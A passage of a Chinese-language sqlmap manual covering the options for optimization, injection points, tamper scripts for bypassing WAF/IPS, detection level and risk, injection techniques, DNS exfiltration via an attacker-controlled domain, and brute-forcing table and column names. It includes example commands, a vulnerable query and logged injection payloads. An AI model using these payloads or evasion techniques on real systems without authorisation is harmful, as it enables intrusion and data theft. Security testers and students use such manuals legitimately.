六、优化
这些参数可以优化Sqlmap的性能。
1.一键优化
参数:-o
添加此参数相当于同时添加下列三个优化参数:
- --keep-alive
- --null-connection
- --threads=3 (如果没有设置一个更好的值)
这些参数具体含义见后文。
2.HTTP长连接
参数:--keep-alive
该参数让Sqlmap使用HTTP长连接。该参数与“--proxy”矛盾。
3.HTTP空连接
参数:--null-connection
有一种特殊的HTTP请求类型可以直接获得HTTP响应的大小而不用获得HTTP响应体。显然这在布尔型盲注中可以节约很大的带宽。当然这一技术是需要服务器端支持的。该参数与“--text-only”矛盾。
4.HTTP并发
参数:--threads
使用该参数指定Sqlmap可以达到的最大并发数。从性能和网站承受能力两方面考虑最大并发数不要超过10。
七、注入
这些参数被用于指定要测试的参数、定制攻击荷载和选择篡改脚本。
1.要测试的注入点
参数:-p和--skip
默认情况下Sqlmap会测试所有GET参数和POST参数,当level大于等于2时会测试cookie参数,当level大于等于3时会测试User-Agent和Referer。实际上还可以手动指定一个以逗号分隔的、要测试的参数列表,该列表中的参数不受level限制。这就是“-p”的作用。
举个例子,若想只测试GET参数“id”和User-Agent,则可以这么写:
-p "id,user-agent"
如果不想测试某一参数则可以使用“--skip”。如设置了level为5但不想测试User-Agent和Referer,则可以这么写:
--level=5 --skip="user-agent,referer"
有时会遇到伪静态网页。动态网页会明目张胆地列出参数,如:
/user.php?id=1
显然参数是id,值为1。但若是伪静态网页则可能这样写:
/user/1/
将参数隐藏在URL中。通常情况下Sqlmap不会对这样的伪静态网页的参数做测试,因为Sqlmap无法判断哪个是参数。若想要对这样的伪静态进行测试,只需要加上“*”,告诉Sqlmap哪个是伪静态参数就行,剩下事的和GET参数没有什么区别。如:
python sqlmap.py -u "http(s)://target.cc/user/1*/"
2.指定数据库管理系统
参数:--dbms
dbms是“Database Management System”的缩写。默认情况下Sqlmap会自动检测网站使用的数据库管理系统,Sqlmap支持以下这些数据库管理系统:
- mysql
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- Firebird
- SQLite
- Sybase
- SAP MaxDB
- DB2
如果Sqlmap自动检测失败或是不想让Sqlmap进行数据库指纹检测,可以使用参数“--dbms”手动指定数据库管理系统,如:“--dbms postgresql”。
对于Mysql和Microsoft SQL Server和要这样指定:
--dbms MySQL <version>
--dbms Microsoft SQL Server <version>
对于MySQL来说,是类似这样的:5.0。对于Microsoft SQL Server来说,是类似这样的:2005。
如果在添加“--dbms”参数的同时还添加了“--fingerprint”,Sqlmap只会在指定的数据库管理系统内进行指纹识别。
只有在很确定时使用“--dbms”,否则还是让Sqlmap自动检测更好些。
3.指定运行数据库管理系统的操作系统
参数:--os
默认情况下Sqlmap会自动检测运行数据库管理系统的操作系统,目前完全支持的操作系统有:
- Linux
- Windows
如果很确定可以使用参数“--os”指定运行数据库管理系统的操作系统。当然在只用很确定时才应该使用此参数,否则还是让Sqlmap自动检测更好些。
4.生成无效参数值时强制使用大数
参数:--invalid-bignum
有时在注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“--invalid-bignum”,Sqlmap就会取大数(如:id=99999999)作为无效参数。
5.生成无效参数值时强制使用逻辑操作符
参数:--invalid-logical
有时在注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“--invalid-logical”,Sqlmap就会使用逻辑操作符(如:id=13 AND 18=19)作为无效参数。
6.生成无效参数值时强制使用字符串
参数:--invalid-string
有时在注入测试时需要生成无效参数,一般情况下Sqlmap会取已有参数(如:id=13)的相反数(如:id=-13)作为无效参数。但若添加“--invalid-logical”,Sqlmap就会使用字符串(如:id=akewmc)作为无效参数。
7.关闭payload转换
参数:--no-cast
在检索结果时Sqlmap会将所有输入转换为字符串类型,若遇到空值(NULL)则将其替换为空白字符。 这样做是为了防止如连接空值和字符串之类的任何错误发生并可以简化数据检索过程。 但是有报告显示在老版本的Mysql中这样做会导致数据检索出现问题,因此添加了“--no-cast”来告诉Sqlmap不要这样做。
8.关闭字符串编码
参数:--no-escape
有时Sqlmap会使用用单引号括起来的字符串值作为payload,如“SELECT ‘foobar‘”,默认地这些值会被编码,如上例将被编码为: “SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))”。这样做既可以混淆视听让人一时难以洞察payload的内容又可以在后台服务器使用类似magic_quote或mysql_real_escape_string这样的转义函数的情况下字符串不受影响。当然在某些情况下需要关闭字符串编码,如为了缩减payload长度,用户可以使用“--no-escape”来关闭字符串编码。
9.定制payload
参数:--prefix和--suffix
有时只有在payload后添加用户指定的后缀才能注入成功。另一种场景是用户已经知道查询语句怎么写的,此时可以直接指定payload的前缀和后缀来完成检测和注入。
一个有漏洞的源码示例如下:
query = "SELECT * FROM users WHERE id=(‘" . $\_GET[‘id‘] . "‘) LIMIT 0, 1";
对这样的例子可以让Sqlmap自动检测边界范围也可以手动指出边界范围:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "‘)" --suffix "AND (‘abc‘=‘abc"
最终SQL语句会变成:
SELECT * FROM users WHERE id=(‘1‘) <PAYLOAD> AND (‘abc‘=‘abc‘) LIMIT 0, 1
这个句子语法是正确的,payloa也能执行。
在简单的测试环境下Sqlmap不需要被提供定制的边界范围就能够自动检测并完成注入,但在真实世界中某些应用可能会很复杂如嵌套JOIN查询,此时就需要为Sqlmap指明边界范围。
10.修改注入数据
参数:--tamper
除了用CHAR()编码字符串外Sqlmap没有对payload进行任何混淆。 该参数用于对payload进行混淆以绕过IPS或WAF。 该参数后跟一个tamper脚本的名字。 若该tamper脚本位于sqlmap的安装目录的tamper/目录中,就可以省略路径和后缀名,只写文件名。 多个tamper脚本之间用空格隔开。
在tamper/目录中有许多可用的tamper脚本。tamper脚本的作用是对payload进行混淆。 我们还可以自己写tamper脚本,这属于Sqlmap的高级用法,一个有效的tamper脚本如下所示:
# 必须要导入的库
from lib.core.enums import PRIORITY
# 定义该tamper脚本的优先级
__priority__ = PRIORITY.NORMAL
def tamper(payload):
‘‘‘此处是tamper的说明‘‘‘
retVal = payload
# 此处是用于修改payload的代码
# 返回修改后的payload
return retVal
下面是一个示例,该示例的目标是Mysql,假定大于号、空格和开头的SELECT是被禁止的:
python sqlmap.py -u "http://192.168.56.101:8080/ScorePrj/?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
该示例部分输出如下:
[12:55:52] [DEBUG] cleaning up configuration parameters
[12:55:52] [INFO] loading tamper script ‘between‘
[12:55:52] [INFO] loading tamper script ‘randomcase‘
[12:55:52] [INFO] loading tamper script ‘space2comment‘
[...]
[12:55:53] [INFO] testing for SQL injection on GET parameter ‘id‘
[12:55:53] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause‘
[12:55:53] [PAYLOAD] 1
[12:55:53] [PAYLOAD] 1)/**/aNd/**/8083=4737/**/aNd/**/(4754/**/BetwEen/**/4754/**/aNd/**/4754
[12:55:53] [PAYLOAD] 1)/**/anD/**/4962=4962/**/anD/**/(2361/**/BeTweEN/**/2361/**/anD/**/2361
[12:55:53] [PAYLOAD] 1/**/aNd/**/9754/**/BETwEEn/**/1206/**/aNd/**/1206
[12:55:53] [PAYLOAD] 1/**/AnD/**/4962/**/beTweEn/**/4962/**/AnD/**/4962
[12:55:53] [PAYLOAD] 1/**/aND/**/2741/**/BetWeEn/**/9323/**/aND/**/9323--/**/Ihsa
[12:55:53] [PAYLOAD] 1/**/anD/**/4962/**/BetweEN/**/4962/**/anD/**/4962--/**/wVUI
[12:55:53] [PAYLOAD] 1‘)/**/anD/**/1694=6061/**/anD/**/(‘zLwu‘=‘zLwu
[12:55:53] [PAYLOAD] 1‘)/**/ANd/**/4962=4962/**/ANd/**/(‘Dsfw‘=‘Dsfw
[12:55:53] [PAYLOAD] 1‘/**/aND/**/6307=8901/**/aND/**/‘fKLn‘=‘fKLn
[12:55:53] [PAYLOAD] 1‘/**/aNd/**/4962=4962/**/aNd/**/‘YFsp‘=‘YFsp
[12:55:53] [PAYLOAD] 1%‘/**/anD/**/3549=6854/**/anD/**/‘%‘=‘
[12:55:53] [PAYLOAD] 1%‘/**/aND/**/4962=4962/**/aND/**/‘%‘=‘
[...]
[12:55:54] [PAYLOAD] 1)/**/uNIoN/**/alL/**/Select/**/nuLl--/**/NRtq
[12:55:54] [PAYLOAD] 1)/**/UnIOn/**/alL/**/sElEcT/**/nuLL,nuLL--/**/jalk
[12:55:54] [PAYLOAD] 1)/**/Union/**/aLl/**/seLeCt/**/nuLL,nuLL,nuLL--/**/ylpg
[...]
而若不加tamper脚本,上例的部分输出为:
[...]
[13:00:12] [INFO] testing for SQL injection on GET parameter ‘id‘
[13:00:12] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause‘
[13:00:12] [PAYLOAD] 1) AND 9902=5632 AND (5820=5820
[13:00:12] [PAYLOAD] 1) AND 6711=6711 AND (7174=7174
[13:00:12] [PAYLOAD] 1 AND 7140=6136
[13:00:12] [PAYLOAD] 1 AND 6711=6711
[13:00:12] [PAYLOAD] 1 AND 1693=7532-- oqcR
[13:00:12] [PAYLOAD] 1 AND 6711=6711-- qAPJ
[13:00:12] [PAYLOAD] 1‘) AND 6904=7395 AND (‘xBlu‘=‘xBlu
[13:00:12] [PAYLOAD] 1‘) AND 6711=6711 AND (‘RgoX‘=‘RgoX
[13:00:12] [PAYLOAD] 1‘ AND 6469=7302 AND ‘maCj‘=‘maCj
[13:00:12] [PAYLOAD] 1‘ AND 6711=6711 AND ‘pSYg‘=‘pSYg
[13:00:12] [PAYLOAD] 1%‘ AND 7516=3605 AND ‘%‘=‘
[13:00:12] [PAYLOAD] 1%‘ AND 6711=6711 AND ‘%‘=‘
[...]
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL-- mUDh
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL-- QKId
[13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL,NULL-- iwvT
[...]
八、检测
1.检测级别
参数:--level
此参数用于指定检测级别,有1~5共5级。默认为1,表示做最少的检测,相应的,5级表示做最多的检测。 Sqlmap使用的payload保存在目录xml/payloads/中,是xml格式的,可以自己定制。节选一个payload如下所示:
<test>
<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
<stype>1</stype>
<level>2</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [INFERENCE]</vector>
<request>
<payload>AND [RANDNUM]=[RANDNUM]</payload>
<comment>[GENERIC_SQL_COMMENT]</comment>
</request>
<response>
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>
在上例中可以看到有level标签,其值为2,该payload在检测级别大于等于2时被使用。 risk标签的含义见后文。
检测级别不仅会影响payload的使用,还会影响注入点的检测,GET和POST参数是一直会被检测的, 检测级别大于等于2时会检测cookie是否有注入,检测级别大于等于3时会检测User-Agent和Referer是否有注入。
若不是很清楚注入点在哪里可以设置一个比较高的检测级别。
强烈建议在向Sqlmap官方报告一个明确存在的注入漏洞检测不出来前先把检测级别调高试试。
2.风险等级
参数:--risk
此参数用于指定风险等级,有1~4共4级。默认风险等级为1,此等级在大多数情况下对测试目标无害。 风险等级2添加了基于时间的注入测试,等级3添加了OR测试。
若注入点是在UPDATE语句中,使用OR测试可能会修改整个表的数据,这显然不是攻击者想要看到的。 因此用户需要能控制风险等级避开有潜在风险的payload。
3.页面对比
参数:--string、--not-string、--regexp
默认情况下在布尔型注入中Sqlmap通过比较返回页面内容来判断True或False。 但有时页面每次刷新都会不同,如页面中有动态广告。Sqlmap会尽力判断出页面中动态的部分来,但并不总能成功。 用户可以用参数“--string”指出代表True的页面会包含而代表False的页面不会包含的字符串以供Sqlmap判断True或False, 若这样的字符串是变动的还可以用参数“--regexp”指定一个正则表达式去匹配这样的字符串。 或者用参数“--not-string”指出代表False的页面会包含而代表True的页面不会包含的字符串。
参数:--code
或者更简单地,若是用户知道代表True的页面HTTP状态码为200而代表False的页面HTTP状态码不为200比如是401, 可以用“--code”参数告诉告诉Sqlmap这一信息,如“--code=200”。
参数:--titles
若是用户知道代表True的页面title和代表False的页面title不同, 如代表True的页面title为“Welcome”,代表False的页面title为“Forbidden”, 就可以使用参数“--titles”让Sqlmap依据title来判断True或False。
参数:--text-only
若是HTTP响应体中有许多诸如javascript之类的活动内容,可以使用参数“--text-only”让Sqlmap只专注于纯文本内容。
九、注入技术
这些参数用于对特定的SQL注入技术进行调整。
1.检测时所用技术
参数:--technique
此参数用于指定检测注入时所用技术。默认情况下Sqlmap会使用自己支持的全部技术进行检测。 此参数后跟表示检测技术的大写字母,其值为B、E、U、S、T或Q,含义如下:
- B:Boolean-based blind(布尔型注入)
- E:Error-based(报错型注入)
- U:Union query-based(可联合查询注入)
- S:Stacked queries(可多语句查询注入)
- T:Time-based blind(基于时间延迟注入)
- Q:Inline queries(嵌套查询注入)
可以用“--technique ES”来指定使用两种检测技术。“--technique BEUSTQ”与默认情况等效。
想要访问文件系统或是Windows的注册表就一定要添加“S”进行多语句查询注入测试。
2.基于时间延迟注入中延时设置
参数:--time-sec
用此参数设置基于时间延迟注入中延时时长,默认为5秒。
3.联合查询注入中列数设置
参数:--union-cols
在进行联合查询注入时,Sqlmap会自动检测列数,范围是1到10。当level值较高时列数检测范围的上限会扩大到50。
可以用此参数指定列数检测范围,如“--union-cols 12-16”就会让Sqlmap的列数检测范围变成12到16。
4.联合查询注入中字符设置
参数:--union-char
默认情况下Sqlmap进行联合查询注入时使用空字符(NULL)。但当level值较高时Sqlmap会生成随机数用于联合查询注入。 因为有时使用空字符注入会失败而使用随机数会成功。
使用此参数可以指定联合查询注入中使用的字符,如:“--union-char 123”。
“联合查询注入中使用的字符”究竟是什么意思呢?请看下面两个例子:
第一个例子,不使用“--union-char”,默认情况下联合查询注入中使用的字符为空字符(NULL):
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3
部分输出为:
[10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,CONCAT(0x71707a6271,0x66546c7770497458576f6455476761654654745744684c5062585971794c556d55454a6c49525675,0x7162767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FAcV
[10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a6271,0x6b43674e76687959526b6452627255787373675a6f5a436f7266756d49424547496d506779456170,0x7162767671),NULL,NULL,NULL,NULL,NULL-- caXD
第一个例子,使用“--union-char 123”,指定联合查询注入中使用的字符为“123”:
python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3 --union-char 123
部分输出为:
[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x776c71686e54726659424b49616d68756e64734d45774c4c7163494345794255784557597a484244,0x7178627071)-- aUXO
[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x6f5278444767675156496c724563714e6568634c6b5950646a6f4e53516b776d77474e7141425273,0x7178627071),123-- lPHb
仔细观察上示两例的输出就能明白“联合查询注入中使用的字符”就是“UNION ALL SELECT XXX, XXX”中的“XXX”。
5.联合查询注入中表名设置
参数:--union-from
有些情况下在联合查询中必须指定一个有效和可访问的表名,否则联合查询会执行失败,如在微软的Access中。 (也就是说,某些DBMS不支持“SELECT 1,2;”这样的语句,SELECT必须有FROM。) 用此参数指定这个表名,如:“--union-from=users”。
6.DNS泄露攻击
参数:--dns-domain
SQL注入中的DNS泄露攻击详情见论文《Data Retrieval over DNS in SQL Injection Attacks》。
假设攻击者控制着某域名(例如:attacker.com)的域名解析服务器,即查询该域名的子域名对应的IP地址都会到这台域名解析服务器来查询。 这时攻击者就可以使用“--dns-domain attacker.com”来进行DNS泄露攻击。
实际上若是攻击者没有控制任何一台域名解析服务器,那么她可以注册一个新域名,再自己搭建一台域名解析服务器用于接受数据。
7.二阶注入攻击
参数:--second-order
有时注入结果显示在别的页面,此时需要用此参数指明显示注入结果的页面,该参数后跟一个URL。
十、指纹
默认地Sqlmap会自动对注入目标进行数据库管理系统指纹识别。
参数:-f或--fingerprint
若想执行更广泛的数据库管理系统指纹识别可以添加此参数。
参数:-b或--banner
若想得到更精确的指纹识别结果可以添加此参数,详情见后文。
十一、暴力破解
1.暴力破解表名
参数:--common-tables
有些情况下用“--tables”不能列出数据库中表名来,如:
- 版本小于5.0的MySQL没有information_schema表
- 微软Access的MSysObjects表默认不可读
- 数据库用户权限过低无法读取表名
当无法读出表名时可以使用参数“--common-tables”暴力破解表名, 该参数使用的字典是txt/common-tables.txt,其中存储了常见表名,可以手动编辑该文件。
2.暴力破解列名
参数:--common-columns
有些情况下用“--columns”不能列出数据表中列名来,如:
- 版本小于5.0的MySQL没有information_schema表
- 微软Access的MSysObjects表默认不可读
- 数据库用户权限过低无法读取列名
当无法读出列名时可以使用参数“--common-columns”暴力破解列名, 该参数使用的字典是txt/common-columns.txt,其中存储了常见列名,可以手动编辑该文件